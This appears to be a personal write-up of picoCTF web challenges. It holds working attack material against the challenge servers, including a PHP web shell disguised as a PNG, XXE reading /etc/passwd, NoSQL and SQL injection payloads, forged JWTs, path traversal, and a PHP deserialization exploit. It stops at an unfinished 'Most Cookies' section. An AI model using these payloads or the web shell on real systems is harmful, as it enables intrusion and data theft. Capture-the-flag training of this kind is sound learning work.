# Web ## Easy ### WebDecode `Description` ``` Do you know how to use the web inspector? Additional details will be available after launching your challenge instance. ``` A simple challenge involing finding the flag in the source code, the flag is a `base64` string in the `about.html` file. `cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZjZmNmI3OGF9` `flag: picoCTF{web_succ3ssfully_d3c0ded_f6f6b78a}` ### Unminify `Description` ``` I don't like scrolling down to read the code of my website, so I've squished it. As a bonus, my pages load faster! Additional details will be available after launching your challenge instance. ``` for this challenge, just press `ctrl + F` in resource and search `picoCTF{` to find result. `flag: picoCTF{pr3tty_c0d3_51d374f0}` ### IntroToBurp `Description` ``` Additional details will be available after launching your challenge instance. ``` in this challenge, i tried many methods, but no matter how i entered the `otp`, it was always incorrect. So i tried removing it, and in the end, I got the flag. `request header` ``` POST /dashboard HTTP/1.1 Host: titan.picoctf.net:49470 Content-Length: 0 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Origin: http://titan.picoctf.net:49470 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://titan.picoctf.net:49470/dashboard Accept-Encoding: gzip, deflate, br Cookie: session=.eJxVjEkOwyAQBP_COQfALCafQRMGZCsGLBZZUZS_Z3LMsapV_WZhHy92Z1vI7MZCb8mP-oyFFKYVDddcCCUWK2VITgECciDQClO0gWsQ1KV5HL5AjpQB5r2Qq-MkWpwy2hKe0PtVG5L7FedWS_Rl5kdspLiQi9LGro622WP7O_t8AVBpMbY.Z7gxBA.xMlN9aK57PWVyqHzEZdO9Po7_hQ Connection: keep-alive ``` `response` ``` HTTP/1.1 200 OK Server: Werkzeug/3.0.1 Python/3.8.10 Date: Fri, 21 Feb 2025 07:55:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 106 Vary: Cookie Connection: close Welcome, admin you sucessfully bypassed the OTP request. Your Flag: picoCTF{#0TP_Bypvss_SuCc3$S_b3fa4f1a} ``` `exploit` ```py= import requests url = "http://titan.picoctf.net:49470/dashboard" cookie = { "session": ".eJxVjEkOwyAQBP_COQfALCafQRMGZCsGLBZZUZS_Z3LMsapV_WZhHy92Z1vI7MZCb8mP-oyFFKYVDddcCCUWK2VITgECciDQClO0gWsQ1KV5HL5AjpQB5r2Qq-MkWpwy2hKe0PtVG5L7FedWS_Rl5kdspLiQi9LGro622WP7O_t8AVBpMbY.Z7gxBA.xMlN9aK57PWVyqHzEZdO9Po7_hQ" } res = requests.post(url, cookies=cookie) print(res.text) #Welcome, admin you sucessfully bypassed the OTP request. #Your Flag: picoCTF{#0TP_Bypvss_SuCc3$S_b3fa4f1a} ``` `flag: picoCTF{#0TP_Bypvss_SuCc3$S_b3fa4f1a}` ### Bookmarklet `Description` ``` Why search for the flag when I can make a bookmarklet to print it for me? Additional details will be available after launching your challenge instance. ``` we are given a `script` about `javascript` ```py= javascript:(function() { var encryptedFlag = "àÒÆÞ¦È¬ë٣֖ÓÚåÛÑ¢ÕӖәǡ”¥Ìí"; var key = "picoctf"; var decryptedFlag = ""; for (var i = 0; i < encryptedFlag.length; i++) { decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256); } alert(decryptedFlag); })(); ``` `script` ```p= encryptedFlag = "àÒÆÞ¦È¬ë٣֖ÓÚåÛÑ¢ÕӖәǡ”¥Ìí" key = "picoctf" flag = "" for i in range(len(encryptedFlag)): flag += chr((ord(encryptedFlag[i]) - ord(key[i % len(key)]) + 256) % 256) print(flag) ``` ### Local Authority `Description` ``` Can you get the flag? Additional details will be available after launching your challenge instance. ``` i randomly entered a `username` and `password`, knowing they were wrong. Then I opened `devtools` and noticed a file named `secure.js` ```py= function checkPassword(username, password) { if( username === 'admin' && password === 'strongPassword098765' ) { return true; } else { return false; } } ``` and i got the `flag: picoCTF{j5_15_7r4n5p4r3n7_05df90c8}` ### Inspect HTML `Description` ``` Can you get the flag? Go to this website and see what you can discover. ``` open `devtools` ### Includes `Description` ``` Can you get the flag? Go to this website and see what you can discover. ``` part 1 at `style.css` file ```py= body { background-color: lightblue; } /* picoCTF{1nclu51v17y_1of2_ */ ``` part 2 at `script.js` file ```python= function greetings() { alert("This code is in a separate file!"); } // f7w_2of2_b8f4b022} ``` ### Cookies `Description` ``` Who doesn't love cookies? Try to figure out the best one. ``` In this challenge, I tried many different values, but none worked. Then I noticed that changing the value of 'name' resulted in different responses, so I brute-forced the values until I got the flag. `exploit` ```py= import requests url = "http://mercury.picoctf.net:17781/check" for i in range(101): cookie = {"name": str(i)} res = requests.get(url,cookies=cookie) if "picoCTF{" in res.text: print(res.text) break ``` `flag: picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}` ### Scavenger Hunt `Description` ``` There is some interesting information hidden around this site http://mercury.picoctf.net:27393/. Can you find it? ``` at this challenge, there are a total of 5 parts of the `flag` * **part 1** open `devtools` ``` <!-- Here's the first part of the flag: picoCTF{t --> ``` * **part 2** into `mycss.css` file ``` /* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */ ``` * **part 3** open `/robots.txt` ``` User-agent: * Disallow: /index.html # Part 3: t_0f_pl4c # I think this is an apache server... can you Access the next flag? ``` * **part 4** into `.htaccess` ``` # Part 4: 3s_2_lO0k # I love making websites on my Mac, I can Store a lot of information there. ``` * **part 5** into `.DS_Store` ``` Congrats! You completed the scavenger hunt. Part 5: _d375c750} ``` `flag: picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_d375c750}` ### GET aHEAD `Description` ``` Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:47967/ ``` In this challenge, we just need to change the `method` to `HEAD`. ``` HTTP/1.1 200 OK flag: picoCTF{r3j3ct_th3_du4l1ty_cca66bd3} Content-type: text/html; charset=UTF-8 ``` ### dont-use-client-side `Description` ``` Can you break into this super secure portal? https://jupiter.challenges.picoctf.org/problem/37821/ (link) or http://jupiter.challenges.picoctf.org:37821 ``` Open `DevTools` and assemble the `flag` parts in order ```py= function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'a3c8') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_1') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '9}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } } ``` `flag: picoCTF{no_clients_plz_1a3c89}` ### logon `Description` ``` The factory is hiding things from all of its users. Can you login as Joe and find what they've been looking at? https://jupiter.challenges.picoctf.org/problem/15796/ (link) or http://jupiter.challenges.picoctf.org:15796 ``` A simple challenge by using `Burp Suite` to modify the `cookie` value to `admin=True` ``` Cookie: password=; admin=True; username="admin" ``` `flag: picoCTF{th3_c0nsp1r4cy_l1v3s_6edb3f5f}` ### Insp3ct0r `Description` ``` Kishor Balan tipped us off that the following code may need inspection: https://jupiter.challenges.picoctf.org/problem/41511/ (link) or http://jupiter.challenges.picoctf.org:41511 ``` * **part 1** open `devtool` ``` <!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 --> ``` * **part 2** into `mycss.css` file ``` /* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */ ``` * **part 3** into `myjs.js` file ``` /* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?832b0699} */ ``` `flag: picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?832b0699}` ### where are the robots `Description` ``` Can you find the robots? https://jupiter.challenges.picoctf.org/problem/36474/ (link) or http://jupiter.challenges.picoctf.org:36474 ``` access `/robots.txt` ``` User-agent: * Disallow: /477ce.html ``` after access `/477ce.html` ``` <!doctype html> <html> <head> <title>Where are the robots</title> <link href="https://fonts.googleapis.com/css?family=Monoton|Roboto" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> <div class="container"> <div class="content"> <p>Guess you found the robots<br /> <flag>picoCTF{ca1cu1at1ng_Mach1n3s_477ce}</flag></p> </div> <footer></footer> </body> </html> ``` `flag: picoCTF{ca1cu1at1ng_Mach1n3s_477ce}` ## Medium ### Trickster `Description` ``` I found a web app that can help process images: PNG images only! Try it here! ``` This is a challenge about a `file upload vulnerability`. We are only allowed to upload `PNG` files, but the extension is not strictly checked, so I appended `.php` to bypass it. shell php at [here](https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985) ``` <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd'] . ' 2>&1'); } ?> </pre> </body> </html> ``` myfile.png ``` PNG<html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd'] . ' 2>&1'); } ?> </pre> </body> </html> ``` ![image](https://hackmd.io/_uploads/HkYaF0B9Jl.png) after access in `/uploads/myfile.png` and change: ``` Content-Disposition: form-data; name="file"; filename="shell.png.php" Content-Type: application/php ``` ![image](https://hackmd.io/_uploads/SkYW5ASc1g.png) and `flag` at `/var/www/html` ``` picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_73198bd9} ``` ### No Sql Injection `Description` ``` Can you try to get access to this website to get the flag? You can download the source here. The website is running here. Can you log in? ``` `source` ```py= const express = require("express"); const bodyParser = require("body-parser"); const mongoose = require("mongoose"); const { MongoMemoryServer } = require("mongodb-memory-server"); const path = require("path"); const crypto = require("crypto"); const app = express(); const port = process.env.PORT | 3000; // Middleware to parse JSON data app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: true })); // User schema and model const userSchema = new mongoose.Schema({ email: { type: String, required: true, unique: true }, firstName: { type: String, required: true }, lastName: { type: String, required: true }, password: { type: String, required: true }, // {"$ne": ""} token: { type: String, required: false, default: "{{Flag}}" }, }); const User = mongoose.model("User", userSchema); // Initialize MongoMemoryServer and connect to it async function startServer() { try { const mongoServer = await MongoMemoryServer.create(); const mongoUri = mongoServer.getUri(); await mongoose.connect(mongoUri); // Store initial user const initialUser = new User({ firstName: "pico", lastName: "player", email: "picoplayer355@picoctf.org", password: crypto.randomBytes(16).toString("hex").slice(0, 16), }); await initialUser.save(); // Serve the HTML form app.get("/", (req, res) => { res.sendFile(path.join(__dirname, "index.html")); }); // Serve the admin page app.get("/admin", (req, res) => { res.sendFile(path.join(__dirname, "admin.html")); }); // Handle login form submission with JSON app.post("/login", async (req, res) => { const { email, password } = req.body; try { const user = await User.findOne({ email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email, password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password, }); if (user) { res.json({ success: true, email: user.email, token: user.token, firstName: user.firstName, lastName: user.lastName, }); } else { res.json({ success: false }); } } catch (err) { res.status(500).json({ success: false, error: err.message }); } }); app.listen(port, () => { }); } catch (err) { console.error(err); } } startServer().catch((err) => console.error(err)); ``` After some time researching and injecting a `NoSQL payload`, I realized that we need to use the `correct syntax`. Instead of injecting directly in `Burp Suite`, I entered it directly into the form to avoid errors `payload` ``` {"email":"picoplayer355@picoctf.org","password":"{\"$ne\":\"null\"}"} ``` `result` ``` HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 186 ETag: W/"ba-WHLFshfl2LDeN/UsVHgH9qEq+U0" Date: Fri, 21 Feb 2025 11:03:58 GMT Connection: keep-alive Keep-Alive: timeout=5 {"success":true,"email":"picoplayer355@picoctf.org","token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzc4NGU0MGU4fQ==","firstName":"pico","lastName":"player"} ``` `flag: picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_784e40e8}` This vulnerability exploits inconsistencies in query statements to create an authentication bypass. Docs at [here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/README.md) ### SOAP `Description` ``` The web project was rushed and no security assessment was done. Can you read the /etc/passwd file? Web Portal ``` This challenge involves an `XXE (XML External Entity)` vulnerability. This occurs when an application processes `XML` without disabling the Entities feature. It can be exploited to read files on the `system`, make HTTP requests, or even achieve `Remote Code Execution (RCE)` in some cases. When the server receives an `XML` containing a `DOCTYPE` with an external `entity (SYSTEM)`, it attempts to parse and resolve that `entity` `initial data` ``` POST /data HTTP/1.1 Host: saturn.picoctf.net:65323 Content-Length: 61 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Content-Type: application/xml Accept: */* Origin: http://saturn.picoctf.net:65323 Referer: http://saturn.picoctf.net:65323/ Accept-Encoding: gzip, deflate, br Connection: keep-alive <?xml version="1.0" encoding="UTF-8"?><data><ID>3</ID></data> ``` Accordingly, we need to declare `DOCTYPE` as the tag to display the content, define an arbitrary variable after `ENTITY`, then insert the `command`, and finally reference the entity variable in the previously declared tag. `final data` ``` POST /data HTTP/1.1 Host: saturn.picoctf.net:65323 Content-Length: 128 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Origin: http://saturn.picoctf.net:65323 Content-Type: application/xml Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://saturn.picoctf.net:59078/ Accept-Encoding: gzip, deflate, br Connection: keep-alive <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ID [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <data><ID>&test;</ID></data> ``` `response` ``` HTTP/1.1 200 OK Server: Werkzeug/2.3.6 Python/3.8.10 Date: Fri, 21 Feb 2025 11:37:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1023 Connection: close Invalid ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flask:x:999:999::/app:/bin/sh picoctf:x:1001:picoCTF{XML_3xtern@l_3nt1t1ty_0dcf926e} ``` `flag: picoCTF{XML_3xtern@l_3nt1t1ty_0dcf926e}` ### More SQLi `Description` ``` Can you find the flag on this website. Try to find the flag here. ``` As soon as I accessed the login interface, I tested logging in using a `SQL Injection payload` with `admin` to see if it would work. ``` username: admin' or 1=1 -- password: 1 ``` `result` ``` username: admin' or 1=1 -- password: 1 SQL query: SELECT id FROM users WHERE password = '1' AND username = 'admin' or 1=1 --' ``` It seems to be reversed, so this time I changed it. ``` username: admin password: ' or 1=1 -- ``` ![image](https://hackmd.io/_uploads/rJDt5yUq1g.png) Finally, I accessed a new page, which seemed to be used for querying information. So, I immediately tried a payload to list all tables in the current database to see if it was exploitable `payload` ``` ' UNION SELECT name, NULL, NULL FROM sqlite_master WHERE type='table'-- ``` ![image](https://hackmd.io/_uploads/HkNDskL91l.png) After some time of searching, I found that the `flag` was in the `more_table` table. `payload` ``` ' UNION SELECT sql, NULL, NULL FROM sqlite_master WHERE name='more_table'-- ``` ![image](https://hackmd.io/_uploads/HJVZhyLqJg.png) The `more_table` table has two columns: `id` and `flag`. I then accessed it to retrieve the `flag`. Since the initial query returned three fields, I had to reference `NULL` in the last field. `payload` ``` ' UNION SELECT flag, NULL, NULL FROM more_table -- ``` ![image](https://hackmd.io/_uploads/ryALak8c1g.png) `flag: picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_78d0583a}` ### MatchTheRegex `Description` ``` How about trying to match a regular expression The website is running here. ``` This was a challenge where I didn't initially know what the vulnerability was. However, I noticed a comment containing the string `p....F`, so I tried entering `picoCTF` and successfully got the `flag`. ![image](https://hackmd.io/_uploads/rk5EkeUckx.png) `flag: picoCTF{succ3ssfully_matchtheregex_8ad436ed}` ### Java Code Analysis!?! `Description` ``` BookShelf Pico, my premium online book-reading service. I believe that my website is super secure. I challenge you to prove me wrong by reading the 'Flag' book! Here are the credentials to get you started: Username: "user" Password: "user" Source code can be downloaded here. Website can be accessed here!. ``` In this challenge, I had to read a lot of the provided source code and, based on the hint about `JWT`, I narrowed my focus to the `controllers` and `models`... In the `local storage`, there were two fields: `auth-token` and `token-payload`. The `auth-token` was the JWT version of the `token-payload` that we provided. Then, I found the following section in the code ```py= class SecretGenerator { private Logger logger = LoggerFactory.getLogger(SecretGenerator.class); private static final String SERVER_SECRET_FILENAME = "server_secret.txt"; @Autowired private UserDataPaths userDataPaths; private String generateRandomString(int len) { // not so random return "1234"; } ``` According to the `code`, the `secretKey` is retrieved from the `server_secret.txt` file on the server. If that fails, the `secretKey` defaults to the string `1234`. With this information, we have everything needed to exploit `JWT`. Since we have no other way to retrieve the actual key, we can temporarily use `1234` as the `secretKey` to forge a valid `token` ``` { "typ": "JWT", "alg": "HS256" } { "role": "Admin", "iss": "bookshelf", "exp": 1740756142, "iat": 1740151342, "userId": 2, "email": "admin" } ``` We're not done yet because the website doesn't work immediately. We need to insert two pieces of data: one in raw format and the other as a JWT. After that, we refresh the page. One important note is that we need to change the `userId`. By default, when we log in, `userId=1` belongs to a regular user account. ![image](https://hackmd.io/_uploads/BJC_pzUqkl.png) `flag: picoCTF{w34k_jwt_n0t_g00d_d7c2e335}` **Note**: use [jwt.io](https://jwt.io/) or `JSON Web Token` tool of `BurpSuite` ### findme `Description` ``` Help us test the form by submiting the username as test and password as test! The website running here. ``` In this challenge, I noticed two `Base64-encoded` strings in `Burp Suite`. After decoding them, I immediately got the `flag` ![image](https://hackmd.io/_uploads/HyM-JQI91x.png) ``` part 1: cGljb0NURntwcm94aWVzX2Fs part 2: bF90aGVfd2F5X2RmNDRjOTRjfQ== ``` `flag: picoCTF{proxies_all_the_way_df44c94c}` ### SQLiLite `Description` ``` Can you login to this website? Try to login here. ``` A simple `SQL Injection` challenge where you just need to log in as admin, and the `flag` is in the source code `payload` ``` Username: admin' or 1=1 -- Password: {anything} ``` `flag: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}` ### SQL Direct `Description` ``` Connect to this PostgreSQL server and find the flag! psql -h saturn.picoctf.net -p 54459 -U postgres pico Password is postgres ``` I searched and studied some commands in the `PostgreSQL` database [here](https://hasura.io/blog/top-psql-commands-and-flags-you-need-to-know-postgresql) ``` List all databases : \l ``` ![image](https://hackmd.io/_uploads/rkEEXQU91g.png) ``` List database tables : \dt ``` ![image](https://hackmd.io/_uploads/HJj_XQLcyl.png) and use ``` select * from flags; ``` ![image](https://hackmd.io/_uploads/BkGimmU51e.png) `flag: picoCTF{L3arN_S0m3_5qL_t0d4Y_21c94904}` ### Secrets `Description` ``` We have several pages hidden. Can you find the one with the flag? The website is running here. ``` This challenge was related to directory structure. After using dirsearch, I found a `/secret/` directory. It `rendered` some content even without additional parameters. I then checked the source code and discovered another folder named `hidden`, which led to `superhidden`. Following this path, I eventually retrieved the `flag` `flag: picoCTF{succ3ss_@h3n1c@10n_39849bcf}` ### Search source `Description` ``` The developer of this website mistakenly left an important artifact in the website source, can you find it? The website is here ``` For this challenge, I first searched for `pico` in the source code and was lucky to find the `flag` right away. ![image](https://hackmd.io/_uploads/rJY1N-s91g.png) `Flag: picoCTF{1nsp3ti0n_0f_w3bpag3s_8de925a7}` ### Roboto Sans `Description` ``` The flag is somewhere on this web application not necessarily on the website. Find it. Check this out. ``` From the challenge's name, I checked `/robots.txt` and found some `base64` strings. After decoding them, I discovered an endpoint `js/myfile.txt`. Then, I accsessed it via the `URL` and found the `flag` ```py= import base64 a = "ZmxhZzEudHh0==" b = "anMvbXlmaW==" c = "anMvbXlmaWxlLnR4dA==" print(f"{base64.b64decode(a)},\n{base64.b64decode(b)},\n{base64.b64decode(c)}") #b'flag1.txt', #b'js/myfi', #b'js/myfile.txt' ``` `Flag: picoCTF{Who_D03sN7_L1k5_90B0T5_718c9043}` ### Power Cookie `Description` ``` Can you get the flag? Go to this website and see what you can discover. ``` A simple challenge about `authentication` in `cookie` by changing the value to `isAdmin=1` ![image](https://hackmd.io/_uploads/H1ptF-j5kg.png) `Flag: picoCTF{gr4d3_A_c00k13_0d351e23}` ### Forbidden Paths `Description` ``` Can you get the flag? Go to this website and see what you can discover. ``` The challenge is a `path traversal` vulnerability, where the website accesses the provided file path without filtering `relative path traversal` characters as `../` . By exploiting this, we can input a `relative path` to retrieve the `flag` ``` ../../../../flag.txt ``` ![image](https://hackmd.io/_uploads/rJQ2sZjqyl.png) `Flag: picoCTF{7h3_p47h_70_5ucc355_e5a6fcbc}` ### JAuth `Description` ``` Most web application developers use third party components without testing their security. Some of the past affected companies are: Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638 Mossack Fonesca (Panama Papers law firm) breach - unpatched version of Drupal CMS used VerticalScope (internet media company) - outdated version of vBulletin forum software used Can you identify the components and exploit the vulnerable one? The website is running here. Can you become an admin? You can login as test with the password Test123! to get started. ``` This challenge involves the `JWT None algorithm` vulnerability. I used [token.dev](https://token.dev/) to remove the `algorithm` field and change the role to `admin`, but it didn't work. After some time researching, I realized that a JWT consists of `three parts`, with the last part being the signature. If the algorithm is set to `none`, only two fields remain. Therefore, adding a `.` at the end was necessary to bypass the check. ![image](https://hackmd.io/_uploads/HkETvzoq1x.png) ![image](https://hackmd.io/_uploads/rymRwfsqye.png) `Flag: picoCTF{succ3ss_@u7h3nt1c@710n_bc6d9041}` ### caas `Description` ``` Now presenting cowsay as a service ``` `index.js` ```py= const express = require('express'); const app = express(); const { exec } = require('child_process'); app.use(express.static('public')); app.get('/cowsay/:message', (req, res) => { exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => { if (error) return res.status(500).end(); res.type('txt').send(stdout).end(); }); }); app.listen(3000, () => { console.log('listening'); }); ``` In this challenge, we can clearly see a `command injection vulnerability`. From the source code, we observe that when we send a request to `/cowsay/:message`, the input is passed into `${req.params.message} `inside `exec`, which is then executed on the `system`. Therefore, we can inject and terminate the existing command to execute our own. ![image](https://hackmd.io/_uploads/BJSwjGi9ke.png) ![image](https://hackmd.io/_uploads/Byddjzscke.png) `Flag: picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}` ### login `Description` ``` My dog-sitter's brother made this website but I can't get in; can you help? login.mars.picoctf.net ``` For this challenge, we just need to look into the source code. In the `index.js` file, there is `base64` string and just decode it ```p= (async()=>{await new Promise((e=>window.addEventListener("load",e))),document.querySelector("form").addEventListener("submit",(e=>{e.preventDefault();const r={u:"input[name=username]",p:"input[name=password]"},t={};for(const e in r)t[e]=btoa(document.querySelector(r[e]).value).replace(/=/g,"");return"YWRtaW4"!==t.u?alert("Incorrect Username"):"cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ"!==t.p?alert("Incorrect Password"):void alert(`Correct Password! Your flag is ${atob(t.p)}.`)}))})(); ``` `Flag: picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}` ### Super Serial `Description` ``` Try to recover the flag stored on this website http://mercury.picoctf.net:2148/ ``` In this challenge, I didn't find anything in the source code until I used `dirsearch` ![image](https://hackmd.io/_uploads/r1nAGmoqkx.png) However, everything appeared empty, and I couldn't gather any more information until I checked `robots.txt` ![image](https://hackmd.io/_uploads/Hk3zQmo51x.png) We found a file with a `.phps` extension, and I tested it with the endpoints discovered earlier using `dirsearch` `authentication.phps` ```py= <?php class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } require_once("cookie.php"); if(isset($perm) && $perm->is_admin()){ $msg = "Welcome admin"; $log = new access_log("access.log"); $log->append_to_log("Logged in at ".date("Y-m-d")."\n"); } else { $msg = "Welcome guest"; } ?> <!DOCTYPE html> <html> <head> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center"><?php echo $msg; ?></h5> <form action="index.php" method="get"> <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button> </form> </div> </div> </div> </div> </div> </body> </html> ``` We found that there is an `access_log` class that allows us to read file contents by accessing the provided path. Below that, it calls `cookie.php` to verify if the user is an admin and then creates a new object to `execute` and return the content. `cookie.phps` ```py= <?php session_start(); class permissions { public $username; public $password; function __construct($u, $p) { $this->username = $u; $this->password = $p; } function __toString() { return $u.$p; } function is_guest() { $guest = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] != 1) { $guest = true; } } return $guest; } function is_admin() { $admin = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] == 1) { $admin = true; } } return $admin; } } if(isset($_COOKIE["login"])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); $g = $perm->is_guest(); $a = $perm->is_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); } } ?> ``` In `cookie.phps`, we found a `permissions` class responsible for `authentication` and `querying`, returning an `object`. The code uses hardcoded `username` and `password` values to prevent `SQL injection`. Below that, it processes a `Cookie` variable named `login`, `deserializing` its value. The process involves `Base64 decoding`, followed by `URL decoding`, and finally calling the appropriate function to return the result. * **Exploit** The exploitation method involves sending a `login` cookie with a specific value to the `authentication.php` endpoint. This endpoint then calls `cookie.phps` for `verification`. If the user is recognized as an `admin`, it creates a `$log object` to `access` and `read files`; otherwise, it returns `guest` . Let's review the `serialization` process so we can craft the appropriate value for login to create our `payload` ```py= $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); ``` Thus, we can exploit the serialization vulnerability using the `access_log` class and `serialize` an object pointing to `../flag` as hinted. Since our `injected` value lacks `authentication` data, `cookie.php` won't return anything for `verification`, causing the program to enter the catch block, which then returns an `access_log object`, allowing us to read the file contents `create payload` ```py= <?php class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } $perm_res = new access_log("../flag"); $perm_res_encoded = urlencode(base64_encode(serialize($perm_res))); echo $perm_res_encoded; ?> #TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9 ``` ![image](https://hackmd.io/_uploads/HJmijQsq1e.png) `Flag: picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_8db8f85c}` Note: [Docs](https://portswigger.net/web-security/deserialization/exploiting) ### Most Cookies `Description` ``` Alright, enough of using my own encryption. 